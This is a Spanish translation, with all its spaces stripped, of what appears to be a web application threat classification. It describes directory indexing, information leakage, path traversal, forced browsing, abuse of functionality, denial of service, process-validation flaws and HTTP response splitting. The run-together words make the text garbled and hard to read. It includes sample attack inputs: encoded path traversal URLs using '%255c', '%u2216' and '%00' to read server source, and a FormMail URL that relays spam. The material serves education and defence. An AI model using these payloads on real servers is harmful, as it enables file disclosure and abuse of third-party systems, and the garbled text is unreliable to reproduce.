EjemploLasiguienteinformaciónpodríaserobtenidaapartirdelaindexacióndeundirectorio:Ficherosdecopiasdeseguridad–conextensionescomo.
bak,.
oldo.
origFicherostemporales–sonficherosquenormalmentesoneliminadosporelservidorperoque,porcualquiermotivo,seencuentranaúndisponibles.
Ficherosocultos–connombresdeficheroquecomienzanpor".
"Convencionesdenombres–unatacantepuedesercapazdeidentificarelesquemadecomposiciónutilizadoporelsitiowebparanombrardirectoriosoficheros.
Ejemplo:Adminoadmin,backupoback-up,etc.
.
.
Enumeracióndecuentasdeusuario–amenudo,lascuentaspersonalesdeusuarioenunservidorwebtienencomonombredeldirectoriopersonalelmismoqueeldelacuentadeusuario.
Contenidodeficherosdeconfiguración–estosficherospuedencontenerdatosdecontroldeaccesoyutilizanextensionescomo.
conf,.
cfgo.
configContenidoscript–Lamayoríadeservidoreswebpermitenlaejecucióndescriptsyaseaespecificandolaubicacióndelscript(porejemplo/cgi-bin)oconfigurandoelservidorparaqueintenteejecutarficherosbasándoseensuspermisos(porejemplo,elbitdeejecuciónensistemas*nixyelusodeladirectivaXBitHackdeApache).
Debidoaestasopciones,sisepermitelaindexacióndecontenidosdeldirectoriocgi-bin,esposiblebajar/revisarelcódigoscriptsilospermisosnosoncorrectos.
Existentresescenariosdistintosdondeunatacantepuededisponerdelacapacidadderecuperarunlistado/indexacióndedirectoriodeformanoesperada:Elservidorwebestádeficientementeconfiguradoypermite/proporcionalaindexacióndedirectorios.
Laconfusiónpuedesurgircuandounadministradorwebseencuentraconfigurandolasdirectivasdeindexaciónenelficherodeconfiguración.
Esposibletenerunresultadonodeseadocuandoseimplementanconfiguracionescomplejas,comocuandosedeseapermitirlaindexacióndedirectorioparaunsubdirectorioespecíficoyserechazaparaelrestodelservidor.
Desdelaperspectivadelatacante,lapeticiónHTTPesidénticaaladescritapreviamente.
Elatacanterealizaunapeticiónsobreundirectorioyobservasiserecibeelcontenidodeseado.
Nolepreocupael"porqué"dequeelservidorwebseencuentreconfiguradodeestamanera.
Algunoscomponentesdelservidorwebpermitenindexacióndedirectorioinclusosiseencuentradeshabilitadaenelficherodeconfiguraciónosiunapáginaíndiceestápresente.
Esteeselúnicoescenariodeejemploválidoparalaexplotacióndelaindexacióndedirectorio.
Haynumerosasvulnerabilidadesidentificadasenmuchosservidoresweb,quecausanunaindexacióndedirectoriosiseenvíanpeticionesHTTPespecíficas.
LabasededatosdecachédeGooglepuedecontenerdatoshistóricosquepuedenincluirindexacionesdedirectoriosdeexploracionespasadasdeunsitiowebespecífico.
ReferenciasDirectoryIndexingVulnerabilityAlertshttp://www.
securityfocus.
com/bid/1063http://www.
securityfocus.
com/bid/6721http://www.
securityfocus.
com/bid/8898Nessus"RemoteFileAccess"PluginWebpagehttp://cgi.
nessus.
org/plugins/dump.
php3family=Remote%20file%20accessWebSiteIndexerToolshttp://www.
download-freeware-shareware.
com/Internet.
phpTheme=112IntrustionPreventionforWebhttp://www.
modsecurity.
orgSearchEnginesasaSecurityThreathttp://it.
korea.
ac.
kr/class/2002/software/Reading%20List/Search%20Engines%20as%20a%20Security%20Threat.
pdfTheGoogleHacker'sGuidehttp://johnny.
ihackstuff.
com/security/premium/The_Google_Hackers_Guide_v1.
0.
pdfFugadeinformaciónLafugadeinformaciónseproducecuandounsitiowebreveladatossensibles,comocomentariosdeldesarrolladoromensajesdeerror,quepuedenayudaraunatacanteaexplotarelsistema.
LainformaciónsensiblepuedeestarpresenteencomentariosHTML,mensajesdeerror,códigofuente,osimplementeenunavistanormal.
Existenmuchasformasenlasqueunsitiowebpuedeserengaadopararevelarestetipodeinformación.
Mientraslafuganonecesariamenterepresentaunabrechaenlaseguridad,estorealmenteproporcionaaunatacanteunaguíaútilparasufuturaexplotación.
Lafugadeinformaciónsensiblepuedealcanzardistintosnivelesderiesgoydebeserlimitadasiemprequeseaposible.
Enelprimercasodefugadeinformación(comentariosenelcódigo,mensajesdeerror,etc.
)lafugapuedeproporcionarinteligenciaalatacanteconinformacióncontextualdelaestructuradedirectorio,estructuradelaconsultaSQLylosnombresdeprocesosclaveutilizadosporelsitioweb.
Amenudo,undesarrolladordejarácomentariosenelcódigoscriptyHTMLparaproporcionarayudayfacilitarlastareasdeintegraciónoresolucióndeproblemas.
Estainformaciónpuedeimplicardesdesimplescomentariosdetallandocomotrabajaelscript,hasta,enlospeorescasos,nombresdeusuarioycontraseasutilizadasdurantelafasedepruebasdeldesarrollo.
Lafugadeinformacióntambiénseaplicaadatosconsideradosconfidenciales,quenosoncorrectamenteprotegidosporelsitioweb.
Estosdatospuedenincluirnúmerosdecuenta,identificadoresdeusuario(númerodecarnédeconducir,númerodepasaporte,númerodelaseguridadsocial,etc.
)ydatosespecíficosdeusuario(datosbancarios,dirección,históricodetransacciones,etc.
).
Laautenticacióninsuficiente,autorizacióninsuficienteyelcifradosegurodetransportetambiéntratanlaprotecciónyelhacercumplirloscontrolesapropiadossobreelaccesoalosdatos.
Muchosataquescaenfueradelámbitodelaproteccióndeunsitiowebcomoataquescontraelcliente,interésdel"observadorcasual".
Lafugadeinformaciónenestecontextotratadelaexposicióndedatosclavedeusuarioconsideradosconfidencialesosecretosquenodebenserexpuestosalavistadetodoslosusuarios.
Losnúmerosdetarjetadecréditosonunejemploclarodedatosdeusuarioquenecesitanunaprotecciónmayorsobresuposibleexposiciónofugainclusosiserealizanuncifradoyunoscontrolesdeaccesoadecuados.
EjemploExistentrescategoríasprincipalesdefugadeinformación:comentariosenelcódigo,mensajesdeerrorydatosconfidencialesenvistasimple.
Comentariosenelcódigo:TBODY>TR>Iftheimagefilesaremissing,restartVADER-->TDbgColor="#ffffff"colSpan="5"height="17"width="587"> TR>Aquípodemosveruncomentarioescritoporelpersonaldedesarrollo/QAindicandoquésedeberíahacersilosficherosdeimagennoseencuentran.
Lafugadeinformacióneselnombredelamáquinaenlaqueseencuentraelservidoryquesemencionadeformaexplícitaenelcódigo,"VADER".
Unejemploenlosmensajesdeerrorpuedeserlarespuestaaunaconsultanoválida.
UnejemploclaroeselmensajedeerrorasociadoconlasconsultasSQL.
Típicamente,losataquesdeinyeccióndecódigoSQLrequierenqueelatacantedispongadeunconocimientopreviodelaestructuraoformatousadoparacrearlasconsultasSQLenelsitio.
LafugadeinformaciónproducidaporlosmensajesdeerrorpuedenproporcionaralatacanteinformacióncrucialsobrecomoconstruirconsultasSQLválidascontralabasededatos.
Losiguientefuedevueltocuandoseintrodujounapóstrofeenuncampo"nombredeusuario"deunapáginadeautenticación:Mensajedeerror:AnErrorHasOccurred.
ErrorMessage:System.
Data.
OleDb.
OleDbException:Syntaxerror(missingoperator)inqueryexpression'username='''andpassword='g''.
atSystem.
Data.
OleDb.
OleDbCommand.
ExecuteCommandTextErrorHandling(Int32hr)atSystem.
Data.
OleDb.
OleDbCommand.
ExecuteCommandTextForSingleResult(tagDBPARAMSdbParams,Object&executeResult)atEnlasprimeraslíneasdelmensajedeerrorseinformadeunerrordesintaxis.
ElmensajedeerrorrevelalosparámetrosqueseutilizanenlaconsultaSQL:usernameypassword.
EstafugadeinformaciónfacilitalalaboraunatacanteparacomenzaraconstruirataquesdeinyeccióndecódigoSQLcontraelsitio.
Referencias"Bestpracticeswithcustomerrorpagesin.
Net",MicrosoftSupporthttp://support.
microsoft.
com/default.
aspxscid=kb;en-us;834452"CreatingCustomASPErrorPages",MicrosoftSupporthttp://support.
microsoft.
com/default.
aspxscid=kb;en-us;224070"ApacheCustomErrorPages",CodeStylehttp://www.
codestyle.
org/sitemanager/apache/errors-Custom.
shtml"CustomizingtheLookofErrorMessagesinJSP",DrewFalkman.
comhttp://www.
drewfalkman.
com/resources/CustomErrorPages.
cfmColdFusionCustomErrorPageshttp://livedocs.
macromedia.
com/coldfusion/6/Developing_ColdFusion_MX_Applications_with_CFML/Errors6.
htmObfuscators:JAVAhttp://www.
cs.
auckland.
ac.
nz/~cthombor/Students/hlai/hongying.
pdfPathTraversalLatécnicadeataquePathTraversalfuerzaelaccesoaficheros,directoriosycomandosquepotencialmenteresidenfueradeldirectorio"documentroot"delaweb.
UnatacantepuedemanipularunaURLdeformaqueelsitiowebejecutaráorevelaráelcontenidodeficherosarbitrariosubicadosencualquierlugardelservidorweb.
CualquierdispositivoqueexponeuninterfazbasadaenHTTPespotencialmentevulnerableaPathTraversal.
Lamayorpartedesitioswebrestringenelaccesodelosusuariosaunaparteespecíficadelsistemadeficheros,típicamentellamadadirectorio"webdocumentroot"o"CGIroot".
Estosdirectorioscontienenlosficherosesperadosparaelaccesodeusuariosylosejecutablesnecesariospararealizarlafuncionalidaddelaaplicaciónweb.
Paraaccederaficherosoejecutarcomandosencualquierpartedelsistemadeficheros,losataquesdePathTraversalutilizanlacapacidaddelassecuenciasdecaracteresespeciales.
ElataquePathTraversalmásbásicoutilizalasecuenciadecaracteresespeciales".
.
/"paraalterarlaubicacióndelrecursosolicitadoenlaURL.
Aunquelosservidoreswebmáspopularesimpidenaestatécnicasalirdeldirectorio"webdocumentroot",codificacionesalternativasdelasecuencia".
.
/"puedenayudarasobrepasarlosfiltrosdeseguridad.
EstasvariacionesdemétodoincluyencodificaciónUnicodeválidaynoválida(".
.
%u2216"o".
.
%c0%af")delcaracterbarra,contrabarra(".
.
\")enservidoresbasadosenWindows,codificacióndecaracteresenURL("%2e%2e%2f"),ydoblecodificacióndelcaráctercontrabarra(".
.
%255c")enlaURL.
InclusosielservidorwebimpidecorrectamentelosintentosdePathTraversalenlaURL,unaaplicaciónwebporsímismapuedeseraúnvulnerabledebidoauntratamientoincorrectodelosdatosdeentradasuministradosporelusuario.
Estoesunproblemacomúnenlasaplicacioneswebqueusansistemasdeplantillasocargantextoestáticodesdeficheros.
Envariacionesdeesteataque,elvalordelparámetrodelaURLoriginalessustituidoconelnombredelficherodeunodelosscriptsdinámicosdelaaplicaciónweb.
Comoconsecuencia,elresultadopuederevelarcódigofuenteporqueelficheroesinterpretadocomotextoenlugardeunscriptejecutable.
Estastécnicasamenudoempleancaracteresespecialesadicionalescomoelpunto(".
")pararevelarellistadodeldirectorioactual,ocaracteresnulos"%00"conelfindesobrepasarvalidacionesrudimentariasdeextensionesdeficheros.
EjemploAtaquesdePathTraversalcontraunservidorwebAtaque:http://example/some/fileAtaque:http://example/.
.
%255c.
.
%255c.
.
%255csome/fileAtaque:http://example/.
.
%u2216.
.
%u2216some/fileAtaquesdePathTraversalcontraunaaplicaciónwebOriginal:http://example/foo.
cgihome=index.
htmAtaque:http://example/foo.
cgihome=foo.
cgiEnelejemploanterior,laaplicaciónwebrevelaelcódigofuentedelficherofoo.
cgiporqueelvalordelavariablehomeesusadocomocontenido.
Resaltarqueenestecasoelatacantenohanecesitadoincluircaracteresinválidosocaracteresdepathtraversalparaqueelataquetengaéxito.
Elatacantehaseleccionadocomoobjetivootroficheroqueseencuentraenelmismodirectorioqueindex.
htm.
AtaquesdePathTraversalcontraunaaplicaciónwebusandosecuenciasdecaracteresespeciales:Original:http://example/scripts/foo.
cgipage=menu.
txtAtaque:http://example/scripts/foo.
cgipage=.
.
/scripts/foo.
cgi%00txtEnelejemploanterior,laaplicaciónwebrevelaelcódigofuentedelficherofoo.
cgiusandosecuenciasdecaracteresespeciales.
Lasecuencia".
.
/"hasidousadaparasaltaratrásundirectorioyentrareneldirectorio/scripts.
Lasecuencia"%00"hasidoutilizadatantoparasobrepasarelchequeodeextensióndeficherocomoparaeliminarlaextensióncuandoelficheroesleído.
Referencias"CERTAdvisoryCA-2001-12SuperfluousDecodingVulnerabilityinIIS"http://www.
cert.
org/advisories/CA-2001-12.
html"NovellGroupwiseArbitraryFileRetrievalVulnerability"http://www.
securityfocus.
com/bid/3436/info/LocalizaciónderecursospredeciblesLaubicaciónderecursospredeciblesesunatécnicadeataqueusadaparadescubrircontenidosyfuncionalidadesocultasdeunsitioweb.
Apartirdesuposiciones,elataqueesunabúsquedaporfuerzabrutadecontenidoquenoseesperaservistopúblicamente.
Ficherostemporales,ficherosdecopiasdeseguridad,ficherosdeconfiguraciónyficherosdeejemploson,todosellos,ejemplosdeficherosquepotencialmentesobrarían.
Estasbúsquedasporfuerzabrutaresultanfácilesyaquelosficherosocultosgeneralmentesuelenseguirconvencionesdenombrecomunesyresidenenubicacionesestándar.
Estosficherospuedenrevelarinformaciónsensiblesobreaplicacioneswebinternas,informacióndebasesdedatos,contraseas,nombresdemáquinas,rutasdeficherosuotrasáreassensibles,osufrirposiblementevulnerabilidades.
Larevelacióndeestainformaciónesdegranvalorparaunatacante.
Lalocalizaciónderecursospredeciblestambiénesconocidacomonavegaciónforzada,enumeracióndeficheros,enumeracióndedirectorios,etc.
EjemploCualquieratacantepuedecrearpeticionessobreficherosodirectoriosarbitrariosencualquierservidorwebpúblico.
LaexistenciadeunrecursopuedeserdeterminadaanalizandoloscódigosderespuestaHTTPquedevuelveelservidorweb.
Existendistintasvariacionesdelataquedeubicaciónderecursospredecibles:Búsquedasciegasdeficherosydirectorioscomunes/admin//backup//logs//vulnerable_file.
cgiAdicióndeextensionesanombresdeficherosexistentes:(/test.
asp)/test.
asp.
bak/test.
bak/testAtaqueslógicosElcapítulo"Ataqueslógicos"secentraenelabusooexplotacióndelflujológicodeunaaplicaciónweb.
Lalógicadelaaplicacióneselflujodeprocedimientosesperadospararealizarunaciertaacción.
Recuperacióndecontraseas,altadeunacuenta,pujaensubastas,ycomprasencomercioselectrónicosson,todosellos,ejemplosdelógicadeaplicación.
Unsitiowebpuederequeriraunusuariounprocesoespecíficodevariospasosparacompletarunaacciónparticular.
Unatacantepuedesercapazdeburlaroabusardeesascaracterísticasparadaarunsitiowebyasususuarios.
AbusodefuncionalidadElabusodefuncionalidadesunatécnicadeataquequeusalaspropiascaracterísticasyfuncionalidaddeunsitiowebparaconsumir,defraudar,oburlarlosmecanismosdecontroldeacceso.
Unafuncionalidaddeunsitioweb,inclusoposiblementecaracterísticasdeseguridad,puedeserabusadaparacausaruncomportamientoinesperado.
Cuandounapartedelafuncionalidadseencuentraabiertaalabuso,unatacantepodríapotencialmentemolestaraotrosusuariosoquizásllevaracabounfraudesobreelsistemacompleto.
Elpotencialyelniveldeabusovariarádeunsitiowebaotroydeunaaplicaciónaotra.
Lastécnicasdeabusodefuncionalidadamenudosonentrelazadasconotrascategoríasdeataquesdeaplicaciónweb,talescomolarealizacióndeunataquedecodificaciónparaintroducirunacadenadeconsultaqueconviertaunafuncióndebúsquedawebenunproxywebremoto.
Losataquesdeabusodefuncionalidadsontambiénusadoscomúnmentecomounafuerzamultiplicadora.
Porejemplo,unatacantepuedeinyectarunfragmentodeCross-siteScriptingenunasesióndechatwebyentoncesusarlafuncióninternadeenvíoparapropagarelcódigomaliciosoatravésdelsitio.
Deunamaneragenérica,todoslosataquesefectuadoscontrasistemasbasadosenordenadorimplicancasosdeabusodefuncionalidad.
Específicamente,estadefinicióndescribeunataquequehaconvertidounaaplicaciónwebconunpropósitoútilenunpropósitomaliciosoconpocaoningunamodificacióndelafunciónoriginal.
EjemploEjemplosdeabusodefuncionalidadincluyen:a)Usarlafuncióndebúsquedadeunsitiowebparaaccederaarchivosrestringidosfueradeldirectorioweb,b)Engaaraunsubsistemadesubidadearchivosparareemplazararchivoscríticosdeconfiguraciónesinternas,yc)Realizarunadenegacióndeservicioinundandounsistemadeautenticaciónwebconnombresdeusuariocorrectosycontraseaserróneasparabloquearalosusuarioslegítimoscuandolosintentosdeautenticaciónpermitidosexcedenellímite.
Otrosejemplosdelmundoreal,sedescribenacontinuación.
MattWrightFormMailLaaplicaciónwebbasadaenPerl"FormMail"normalmenteseusabaparatransmitirlosdatosdeunformulario,cumplimentadoporelusuario,aunadireccióndecorreopredefinida.
Elscriptofrecíaunasolucióndefácilusoparaqueunsitiowebconsiguierafeedbacks.
PorestarazónelscriptFormMaileraunodelosmáspopularesprogramasCGIonline.
Desafortunadamente,estemismogradodeutilidadyfacilidaddeusoeraabusadoporatacantesremotosparaenviarcorreoselectrónicosacualquierdestinoremoto.
Esmás,estaaplicaciónwebsetransformóenunmotordespam-relayconunasimplepeticiónwebdelnavegador.
UnatacanteúnicamenteteníaquemodificarunaURLparaquefacilitaralosparámetrosdeseadosdeladireccióndecorreoelectrónicoyrealizarunapeticiónHTTPGETalCGI,talcomo:http://example/cgi-bin/FormMail.
plrecipient=email@victim.
example&message=you%20got%20spamSegeneraríauncorreoelectrónico,conelservidorwebactuandocomoelqueenvía,permitiendoalatacanteocultarseatravésdelaaplicaciónwebactuandocomoproxy.
Dadoquenoexistíanmecanismosdeseguridadparaestaversióndelscript,laúnicamedidadedefensaviableerareescribirelscriptconunadireccióndecorreofijadaenelcódigo.
Conesto,lossitiosseveíanforzadosaborraroreemplazarlaaplicaciónwebcompleta.
Macromedia'sColdFusionAlgunasveceslasherramientasdeadministraciónbásicasvanembebidasenaplicacioneswebquepuedeserfacilmenteusadasparapropósitosnointencionados.
Porejemplo,Macromedia'sColdFusionpordefectotieneunmóduloinsertadoparaverelcódigofuentequeesuniversalmenteaccesible.
Elabusodeestemódulopuederesultarenunafugadeinformacióncríticadelaaplicaciónweb.
Amenudoestostiposdemódulosnosonsimplesficherosofuncionesextraas,sinocomponentescríticosdelsistema.
Estocreaqueladeshabilitacióndeestasfuncionesseaproblemática,yaqueestanpensadasparalossistemasdeaplicaciónweb.
ModificacióndelpreciodeuncarrodelacompraSmartwinCyberOfficeElabusodefuncionalidadserealizacuandounatacantealteralosdatosenunpasonoprevistoparamodificarelcomportamientodelaaplicaciónweb.
Porejemplo,elcarrodelacompraCyberOfficepuedeserabusadocambiandoelcampoocultodelprecioenelformularioweb.
Lapáginawebesdescargadanormalmente,editadayentoncessereenvíaconlospreciosconfiguradosconcualquiervalordeseado.
Referencias"FormMailRealName/EmailAddressCGIVariableSpammingVulnerability"http://www.
securityfocus.
com/bid/3955"CVE-1999-0800"http://cve.
mitre.
org/cgi-bin/cvename.
cginame=1999-0800"CAUnicenterpdmcgi.
exeViewArbitraryFile"http://www.
osvdb.
org/displayvuln.
phposvdb_id=3247"PeopleSoftPeopleBooksSearchCGIFlaw"http://www.
osvdb.
org/displayvuln.
phposvdb_id=2815"iisCART2000UploadVulnerability"http://secunia.
com/advisories/8927/"PROTEGOSecurityAdvisory#PSA200401"http://www.
protego.
dk/advisories/200401.
html"PricemodificationpossibleinCyberOfficeShoppingCart"http://archives.
neohapsis.
com/archives/bugtraq/2000-10/0011.
htmlDenegacióndeservicioLadenegacióndeservicio(DoS)esunatécnicadeataqueconlaintencióndeimpedirqueunsitiosirvalaactividadhabitualalosusuarios.
LosataquesDoS,queresultanfácilmenteaplicablesenlacapadered,sontambiénposiblesenlacapadeaplicación.
Estosataquesmaliciosospuedenocurrirprivandoaunsistemaderecursoscríticos,explotandovulnerabilidadesomedianteunabusodefuncionalidad.
MuchasveceslosataquesDoSintentaránconsumirtodoslosrecursosdisponiblesdelsistematalescomo:CPU,memoria,espaciodedisco,etc.
Cuandounodeesosrecursosalcanceunconsumomáximo,elsitiowebnormalmentepasaráaestarinaccesible.
Hoyendía,todoslosentornosdeaplicaciónwebincluyenunservidorweb,servidordebasededatosyunservidordeautenticación.
UnataqueDoSenlacapadeaplicaciónpuedetenercomoobjetivoacadaunodeesoscomponentesindependientes.
AdiferenciadeunataqueDoSenlacapadered,dondeserequierenungrannúmerodeintentosdeconexión,elataqueDoSenlacapadeaplicaciónesunatareamuchomássimplederealizar.
EjemploImaginemosunsitiowebdeserviciomédicoquegenerauninformeconelhistorialmédico.
Porcadapeticióndeinforme,elsitiowebrealizaunaconsultaalabasededatosparaconseguirtodosloscamposquecoincidenconunnúmerodelaseguridadsocial.
Dadoquecientosdemilesdecampossealmacenanenlabasededatos(paratodoslosusuarios)elusuarionecesitaráesperartresminutosparaconseguirsuinformedelahistoriamédica.
DuranteesostresminutosdetiempolaCPUdelservidordelabasededatosalcanzaun60%deutilizaciónmientrasbuscalacoincidenciadecampos.
UnataqueDoScomúnenlacapadeaplicación,enviará10peticionessimultáneaspreguntandoparageneraruninformedehistorialmédico.
EstaspeticionesseguramentedejaránelsitiowebbajounacondicióndeataqueDoSencuantolaCPUdelservidordelabasededatosalcanceel100%deuso.
Enestepunto,elsistemaestaráinaccesibleparacualquieractividadnormaldeusuario.
AtaqueDoScontraunusuarioespecíficoUnintrusointentarárepetidamenteintentarvalidarseenunsitiowebcomoalgúnusuario,haciéndoloapropósitoconunacontraseainválida.
Esteprocesoeventualmentebloquearáalusuariolegítimo.
AtaqueDoScontraunservidordeBasedeDatosUnintrusousarátécnicasdeinyeccióndecódigoSQLparamodificarlabasededatosyprovocarqueelsistemasevuelvainutilizable(porejemplo,borrandotodoslosdatos,borrandonombresdeusuario,etc.
)AtaqueDoScontraunservidorwebUnintrusousarátécnicasdedesbordamientodebufferparaenviarunapeticiónespecialmenteconstruidaparaquecuelguelosprocesosdelservidorwebyelsistemanormalmentesevolveráinaccesibleparalaactividadnormaldelosusuarios.
Anti-automatizacióninsuficienteLaanti-automatizacióninsuficienteseproducecuandounsitiowebpermiteaunatacanteautomatizarunprocesoquesólodeberíallevarseacabodeformamanual.
Ciertasfuncionalidadesdesitioswebdeberíanserprotegidascontraataquesautomáticos.
Novalidandoesto,robotsautomáticos(programas)oatacantespodríanrepetidamenteintentarexplotaroengaarelsistema.
Unrobotautomáticopotencialmentepodríaejecutarmilesdepeticionesporminuto,causandopérdidadepotenciaodelrendimientodelservicio.
Porejemplounrobotautomatizado,nodeberíasercapazdevalidardiezmilnuevascuentasenunospocosminutos.
Similarmente,robotsautomatizadosnodeberíansercapazdemolestaraotrosusuariosconmensajesrepetidosenforos.
Estasoperacionesdeberíanestarlimitadassóloparaelusohumano.
ReferenciasTellingHumansApart(Automatically)http://www.
captcha.
net/"RavagedbyRobots!
",ByRandalL.
Schwartzhttp://www.
webtechniques.
com/archives/2001/12/perl/".
NetComponentsMakeVisualVerificationEasier",ByJingDong(Jordan)Zhanghttp://go.
cadwire.
net/3870,3,1"VorrasAntibot"http://www.
vorras.
com/products/antibot/"InaccessibilityofVisually-OrientedAnti-RobotTests"http://www.
w3.
org/TR/2003/WD-turingtest-20031105/ValidacióndeprocesoinsuficienteLavalidacióndeprocesoinsuficienteseproducecuandounsitiowebpermiteaunatacantesaltaroevadirelflujodecontrolprevistodeunaaplicación.
Sielestadodeunusuarioatravésdeunproceso,noesverificadonireforzado,elsitiowebpodríaservulnerablealaexplotaciónoelengao.
Cuandounusuariorealizaunaciertafuncióndeunsitioweb,laaplicaciónpuedeesperaraqueelusuarionavegueatravésdeellaenunordendesecuenciaespecífico.
Sielusuariorealizaciertospasosincorrectamenteofueradelordenestablecido,puedeocurrirunerrorenlaintegridaddelosdatos.
Ejemplosdeprocesosmulti-pasoincluyentransferenciaporcable,recuperacióndecontraseas,validacióndecompras,altadecuentas,etc.
Estosprocesosrequeriránqueciertospasossellevenacabotalycomoseesperan.
Paraquelosprocesosmulti-pasofuncionenapropiadamente,alossitioswebselesrequieremantenerelestadodelusuario,ycomonavegaesteatravésdelosflujosdelproceso.
Lossitioswebnormalmenteindicanelestadodelusuarioatravésdelusodecookiesocamposocultosdeformulario.
Sinembargocuandoelidentificadoresalmacenadoenlaparteclientedentrodelnavegadorweb,laintegridaddelosdatosdebeserverificada.
Sino,unatacantepodríasercapazdesortearelesperadoflujodeltráficoalterandoelestadoactual.
EjemploUnsistemaonlinedecarrodelacomprapuedeofreceralusuarioundescuentosielproductoAescomprado.
ElusuariopuedenoquerercomprarelproductoAperosíelproductoB.
RellenandoelcarrodelacompraconelproductoAyelproductoB,yentrandoenelprocesodevalidación,elusuarioobtieneeldescuento.
Elusuarioentoncesretrocedeatravésdelprocesodevalidación,yborraelproductoA.
Osimplementealteralosvaloresantesdepasaralsiguientepaso.
Elusuarioentoncesentradenuevoenelprocesodevalidación,manteniendoeldescuentoyarealizadoenelprocesoprevioconelproductoAenelcarrodelacompra,yconsigueunpreciodecomprafraudulento.
Referencias"DosandDon'tsofClientAuthenticationontheWeb",KevinFu,EmilSit,KendraSmith,NickFeamster-MITLaboratoryforComputerSciencehttp://cookies.
lcs.
mit.
edu/pubs/webauth:tr.
pdfContactoWebApplicationSecurityConsortiumhttp://www.
webappsec.
orgParapreguntasdecaráctergeneral,enviaruncorreoelectrónicoalasiguientedirección:contact@webappsec.
orgApéndiceExistentantastécnicasdeataquealaseguridaddelasaplicacioneswebquesomosincapacesdeclasificarlasenestemomento.
Enelapéndice,haydocumentaciónresumidaquedescribealgunadeestasmetodologías.
Estascuestionesserántratadasdeformasistemáticaenlaversión2delaClasificacióndeAmenazas.
DivisiónderespuestaHTTPEnelataquededivisiónderespuestaHTTP,siempreexistentrespartes(comomínimo)involucradas:Servidorweb-quetieneunagujerodeseguridadquepermiteladivisiónderespuestaHTTPObjetivo–unaentidadqueinteractúaconelservidorwebennombredelatacante.
Típicamenteestoesunservidordecaché(proxyoproxyinverso),ounnavegador(posiblementeconunacachédenavegación).
Atacante–iniciaelataqueLaesenciadeladivisiónderespuestaHTTPeslacapacidaddelatacantedeenviarunaúnicapeticiónHTTPquefuerzaalservidorwebaformarunacadenadesalidaqueesinterpretadaporelobjetivocomodosrespuestasHTTPenlugardeunaúnicarespuesta,enelcasonormal.
Laprimerarespuestapuedeserparcialmentecontroladaporelatacante,peroestoesmenosimportante.
LoquerealmenteimportaesqueelatacantecontrolacompletamentelaformadelasegundarespuestadesdelalíneadeestadoHTTPhastaelúltimobytedelcuerpodelarespuestaHTTP.
Unavezqueestoesposible,elatacantellevaacaboelataqueenviandodospeticionesalobjetivo.
Laprimeradeellasprovocadosrespuestasdelservidorweb,ylasegundapeticióntípicamenteseríasobreunrecurso"inocente"delservidorweb.
Sinembargo,lasegundapeticiónseríaemparejada,porelobjetivo,conlasegundarespuestaHTTP,queestotalmentecontroladaporelatacante.
Elatacante,porlotanto,engaaalobjetivohaciéndolecreerqueunrecursoparticulardelservidorweb(especificadoporlasegundapetición)eslarespuestaHTTPdelservidor(contenidodelservidor),cuandoestoesenrealidadalgunosdatos,quesonfalseadosporelatacanteatravésdelservidorweb–estaeslasegundarespuesta.
LosataquesdedivisiónderespuestaHTTPtienenlugardondeelscriptdeservidorcontienedatosdeusuarioenlascabecerasdelarespuestaHTTP.
EstoocurretípicamentecuandoelscriptcontienedatosdeusuarioenlaURLderedireccióndeunarespuestaderedirección(códigodeestadoHTTP3xx),ocuandoelscriptcontienedatosdeusuarioenelvaloronombredeunacookiecuandolarespuestaponeunacookie.
Enelprimercaso,laURLderedirecciónespartedelacabeceraLocationdelarespuestaHTTP,yenelsegundocasodeasignacióndelacookie,elnombre/valordelacookieespartedelacabeceraSet-CookiedelarespuestaHTTP.
LaesenciadelataqueeslainyeccióndecaracteresCR(retornodecarro)yLF(saltodelinea)demaneraqueunsegundomensajeHTTPesformadodondesólounofueplanificadoporlaaplicación.
LainyeccióndeCRLFesunmétodousadoporotrosdiversosataquesquecambianlosdatosdeunaúnicarespuestaHTTPenviadaporlaaplicación(porejemplo[2]),peroenestecaso,elpapeldeCRLFesligeramentediferente–seproponeparaterminarelprimermensaje(planificado)derespuestaHTTP,yformarotromensaje(totalmentecontroladoporelatacanteytotalmenteinesperadoporlaaplicación)derespuestaHTTP(deahíelnombredelataque).
Estainyecciónesposiblesilaaplicación(queseejecutasobreelservidorweb)contienedatosdeusuarionovalidadosenunaredirección,asignacióndeunacookieocualquierotramaneraqueeventualmentecausequedatosdeusuarioformenpartedelascabecerasderespuestaHTTP.
ConladivisiónderespuestaHTTP,esposiblemontarvariasclasesdeataque:Cross-siteScripting(XSS):Hastaahora,hasidoimposiblemontarataquesdeXSSensitiosatravésdeunscriptderedireccióncuandoelclienteutilizaIEanoserquetodaslascabecerasLocationpuedansercontroladas.
Esteataquehaceestoposible.
Envenenamientodelacachéweb(desfiguración):Esteesunataquenuevo.
Elatacantesimplementefuerzaalobjetivo(esdecir,elservidorcachédealgunaclase–elataquehasidoverificadoenSquid2.
4,NetCache5.
2,ApacheProxy2.
0yalgunosotrosservidorescaché)aguardarlasegundarespuestacomorespuestaalasegundapetición.
Unejemploesenviarunasegundapeticióna"http://web.
site/index.
html",yforzaralobjetivo(servidorcaché)aalmacenarlasegundarespuestaqueestotalmentecontroladaporelatacante.
Estoesefectivamenteunadesfiguracióndelsitioweb,comomínimoasíescomoloexperimentanlosotrosclientesqueusanelmismoservidorcaché.
Desdeluego,ademásdeladesfiguración,unatacantepuederobarcookiesdesesión,o"fijar"estasaunvalorpredeterminado.
AtaquesCrossUser(usuarioúnico,páginaúnica,desfiguracióntemporal):Comovariantedelataque,esposibleparaelatacantenoenviarlasegundapetición.
Estopareceimparalprincipio,perolaideaesque,enalgunoscasos,elobjetivopuedecompartirlamismaconexiónTCPconelservidor,entrevariosusuarios(esteeselcasodealgunosservidorescaché).
Elsiguienteusuarioqueenvíeunapeticiónalservidorwebatravésdelobjetivoseráservidoporelobjetivoconlasegundarespuestaquehabíageneradoelatacante.
Elresultadofinalconsisteenteneraunclientedelsitiowebsiendoservidoconunrecursocontroladoporelatacante.
Estopermitealatacante"desfigurar"elsitioparaunaúnicapáginasolicitadaporunúnicousuario(unadesfiguraciónlocalotemporal).
Deformaparecidaalcasoanterior,ademásdeladesfiguración,elatacantepuederobarcookiesdesesióny/omodificarlas.
Secuestrodepáginasconinformaciónespecíficadeusuario:Conesteataque,esposibleparaelatacanterecibirlarespuestadelservidoraunapeticióndeusuarioenlugardelusuario.
Porlotanto,elatacanteganaaccesoainformaciónespecíficadelusuarioquepuedesersensibleyconfidencial.
Envenenamientodelacachédelnavegador:Esteesuncasoespecialde"Envenenamientodelacachéweb"(verificadoenIE6.
0).
EsalgosimilaraXSSenelsentidoqueenamboselatacantenecesitaaclientesindividualescomoobjetivo.
